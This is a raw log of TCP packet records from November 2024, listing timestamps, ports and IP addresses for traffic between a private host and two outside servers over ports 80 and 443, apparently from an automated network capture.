Nov 20, 2024 01:18:38.603204012 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.603218079 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.603236914 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.603269100 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.603295088 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.603302002 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.603352070 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.603358984 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.603384972 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.603418112 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.603430986 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.603454113 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.603486061 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.603507042 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.603521109 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.603565931 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.603568077 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.603598118 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.603631020 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.603656054 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.603665113 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.603713989 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.606739998 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.606769085 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.606817007 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.606817961 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.606853008 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.606884956 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.606894970 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.606918097 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.606950998 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.606966972 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.606986046 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.607032061 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.608705044 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.608849049 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.608886003 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.608917952 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.608949900 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.608985901 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.609019995 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.609222889 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.609222889 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.609222889 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.632539034 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.632575035 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.632623911 CET	49814	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:38.632646084 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.632689953 CET	49814	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:38.633338928 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.633362055 CET	49814	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:38.633369923 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.633397102 CET	49814	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:38.633400917 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.633410931 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.637763977 CET	49819	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:38.637835979 CET	443	49819	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.637904882 CET	49819	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:38.638077974 CET	49819	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:38.638114929 CET	443	49819	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.646872044 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.646927118 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.646982908 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.647032022 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.647064924 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.647087097 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.647098064 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.647145987 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.647147894 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.647198915 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.647243977 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.647249937 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.647281885 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.647332907 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.647344112 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.647366047 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.647397995 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.647424936 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.647430897 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.647464991 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.647474051 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.647495985 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.647528887 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.647540092 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.647561073 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.647597075 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.647608995 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.647629023 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.647663116 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.647692919 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.647696972 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.647727013 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.647741079 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.647757053 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.647789001 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.647798061 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.668176889 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.668229103 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.668241024 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.668262959 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.668297052 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.668314934 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.668330908 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.668363094 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.668378115 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.668397903 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.668445110 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.723409891 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.728420973 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.728579998 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.728595018 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.728610039 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.728616953 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.728626966 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.728642941 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.728650093 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.728660107 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.728678942 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.728682041 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.728698015 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.728720903 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.728722095 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.728739023 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.728754044 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.728760958 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.728770018 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.728794098 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.728809118 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.728815079 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.728832006 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.728838921 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.728847980 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.728864908 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.728873968 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.728880882 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.728895903 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.728909016 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.728913069 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.728919983 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.728926897 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.728934050 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.728938103 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.728940964 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.728946924 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.728969097 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.728970051 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.728986025 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.728990078 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.729000092 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729016066 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729028940 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.729031086 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729048014 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729055882 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.729068041 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729080915 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.729084015 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729099035 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729120970 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729121923 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.729135990 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729154110 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729157925 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729159117 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.729172945 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729187965 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729187965 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.729202986 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729213953 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.729218006 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729234934 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729239941 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.729249954 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729264975 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729279041 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.729291916 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729310036 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729315042 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.729327917 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729351997 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729351997 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.729384899 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.729404926 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729420900 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729434967 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729450941 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729454994 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.729465961 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729482889 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729485989 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.729501963 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729517937 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729523897 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.729543924 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729553938 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.729561090 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729578972 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729595900 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729609013 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.729612112 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729628086 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729638100 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.729645967 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729660988 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729676962 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729693890 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729698896 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.729727983 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.729734898 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729743958 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.729751110 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729779959 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729784966 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.729795933 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729818106 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729825020 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729830980 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729831934 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.729836941 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729844093 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729846001 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729852915 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729861021 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.729867935 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.729901075 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.733634949 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.733733892 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.733762026 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.733793974 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.733810902 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.733858109 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.733871937 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.733902931 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.733933926 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.733949900 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.733964920 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.733994961 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.734013081 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.734040976 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.734086037 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.734097004 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.734132051 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.734163046 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.734195948 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.734199047 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.734225988 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.734246016 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.734256983 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.734293938 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.734302998 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.734324932 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.734355927 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.734374046 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.734386921 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.734421968 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.734431028 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.734451056 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.734482050 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.734498024 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.755156040 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.755188942 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.755222082 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.755238056 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.755278111 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.755299091 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.755328894 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.755363941 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.755384922 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.755417109 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.755502939 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.758331060 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.774673939 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.774728060 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.774738073 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.774761915 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.774811029 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.774832010 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.774899006 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.774931908 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.774957895 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.774981976 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.775015116 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.775031090 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.775048971 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.775096893 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.775096893 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.775130987 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.775162935 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.775186062 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.775213957 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.775264978 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.775274038 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.775331974 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.775387049 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.775388956 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.775428057 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.775477886 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.775479078 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.775515079 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.775547981 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.775580883 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.775602102 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.775609970 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.775645971 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.775660038 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.775695086 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.775743008 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.775743008 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.775791883 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.775825024 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.775845051 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.775873899 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.775878906 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.775906086 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.775955915 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.775963068 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.775990009 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.776022911 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.776055098 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.776070118 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.776093960 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.776107073 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.776128054 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.776163101 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.776186943 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.776195049 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.776228905 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.776242971 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.776262999 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.776295900 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.776320934 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.776329041 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.776361942 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.776395082 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.776412964 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.776429892 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.776458979 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.776464939 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.776489973 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.776504040 CET	49807	80	192.168.2.5	185.215.113.16
